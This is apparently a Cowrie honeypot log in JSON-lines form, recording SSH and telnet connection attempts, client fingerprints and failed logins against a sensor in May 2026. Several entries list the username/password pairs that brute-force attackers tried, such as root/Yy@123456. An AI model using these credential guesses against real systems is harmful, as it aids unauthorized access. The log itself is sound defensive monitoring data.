{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:04.327845Z","src_ip":"152.32.172.177","session":"c145608d5d2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yy@123456","message":"login attempt [root/Yy@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:05.231879Z","src_ip":"152.32.172.177","session":"c145608d5d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:06.454334Z","src_ip":"152.32.172.177","session":"c145608d5d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00241947174072,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:07.131100Z","src_ip":"89.243.29.180","session":"b6fa6908bd42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.243.29.180","src_port":52108,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb94883a4054","protocol":"telnet","message":"New connection: 89.243.29.180:52108 (10.17.0.5:23) [session: cb94883a4054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:09.959749Z"}
{"eventid":"cowrie.session.closed","duration":120.00399589538574,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:12.650253Z","src_ip":"89.243.29.180","session":"a64a2e2b07a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":60406,"dst_ip":"10.17.0.5","dst_port":22,"session":"bae64f4777a6","protocol":"ssh","message":"New connection: 43.156.212.86:60406 (10.17.0.5:22) [session: bae64f4777a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:18.409791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:18.414365Z","src_ip":"43.156.212.86","session":"bae64f4777a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:18.661025Z","src_ip":"43.156.212.86","session":"bae64f4777a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wyr","message":"login attempt [root/wyr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:19.677874Z","src_ip":"43.156.212.86","session":"bae64f4777a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:20.927106Z","src_ip":"43.156.212.86","session":"bae64f4777a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":42370,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b6456c3cd33","protocol":"ssh","message":"New connection: 177.234.174.18:42370 (10.17.0.5:22) [session: 4b6456c3cd33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:35.090711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:35.097577Z","src_ip":"177.234.174.18","session":"4b6456c3cd33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:35.715951Z","src_ip":"177.234.174.18","session":"4b6456c3cd33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mortiimatiideprost","message":"login attempt [root/mortiimatiideprost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:37.064136Z","src_ip":"177.234.174.18","session":"4b6456c3cd33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:38.201763Z","src_ip":"177.234.174.18","session":"4b6456c3cd33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":52326,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b7f3b0c74f8","protocol":"ssh","message":"New connection: 135.235.138.43:52326 (159.203.135.109:22) [session: 5b7f3b0c74f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:46.764452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:46.769177Z","src_ip":"135.235.138.43","session":"5b7f3b0c74f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:46.957291Z","src_ip":"135.235.138.43","session":"5b7f3b0c74f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:47.743006Z","src_ip":"135.235.138.43","session":"5b7f3b0c74f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:48.934450Z","src_ip":"135.235.138.43","session":"5b7f3b0c74f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":48638,"dst_ip":"10.17.0.5","dst_port":22,"session":"e25e83da1d79","protocol":"ssh","message":"New connection: 40.78.155.180:48638 (10.17.0.5:22) [session: e25e83da1d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:09.745240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:09.750777Z","src_ip":"40.78.155.180","session":"e25e83da1d79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:09.792341Z","src_ip":"40.78.155.180","session":"e25e83da1d79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:09.989745Z","src_ip":"40.78.155.180","session":"e25e83da1d79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:11.035187Z","src_ip":"40.78.155.180","session":"e25e83da1d79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00162625312805,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:12.173317Z","src_ip":"43.248.59.254","session":"f032d041c895","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.248.59.254","src_port":39633,"dst_ip":"159.203.135.109","dst_port":23,"session":"053383e6d781","protocol":"telnet","message":"New connection: 43.248.59.254:39633 (159.203.135.109:23) [session: 053383e6d781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:13.637365Z"}
{"eventid":"cowrie.session.closed","duration":120.00120663642883,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:15.446622Z","src_ip":"43.248.59.213","session":"ddb68350d42c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.248.59.254","src_port":36949,"dst_ip":"159.203.135.109","dst_port":23,"session":"658637a042e4","protocol":"telnet","message":"New connection: 43.248.59.254:36949 (159.203.135.109:23) [session: 658637a042e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:16.857425Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":49236,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca2ff22def2a","protocol":"ssh","message":"New connection: 152.32.172.177:49236 (10.17.0.5:22) [session: ca2ff22def2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:31.107649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:31.116537Z","src_ip":"152.32.172.177","session":"ca2ff22def2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:31.334112Z","src_ip":"152.32.172.177","session":"ca2ff22def2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"banban","message":"login attempt [root/banban] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:32.237487Z","src_ip":"152.32.172.177","session":"ca2ff22def2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:33.457740Z","src_ip":"152.32.172.177","session":"ca2ff22def2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":46658,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cc0c2582e54","protocol":"ssh","message":"New connection: 43.156.212.86:46658 (10.17.0.5:22) [session: 1cc0c2582e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:37.328769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:37.333460Z","src_ip":"43.156.212.86","session":"1cc0c2582e54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:37.572895Z","src_ip":"43.156.212.86","session":"1cc0c2582e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:38.557824Z","src_ip":"43.156.212.86","session":"1cc0c2582e54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:39.798738Z","src_ip":"43.156.212.86","session":"1cc0c2582e54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.99.193.143","src_port":55552,"dst_ip":"10.17.0.5","dst_port":22,"session":"610c9493c685","protocol":"ssh","message":"New connection: 88.99.193.143:55552 (10.17.0.5:22) [session: 610c9493c685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:41.539963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:41.545109Z","src_ip":"88.99.193.143","session":"610c9493c685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:41.645404Z","src_ip":"88.99.193.143","session":"610c9493c685","protocol":"ssh"}
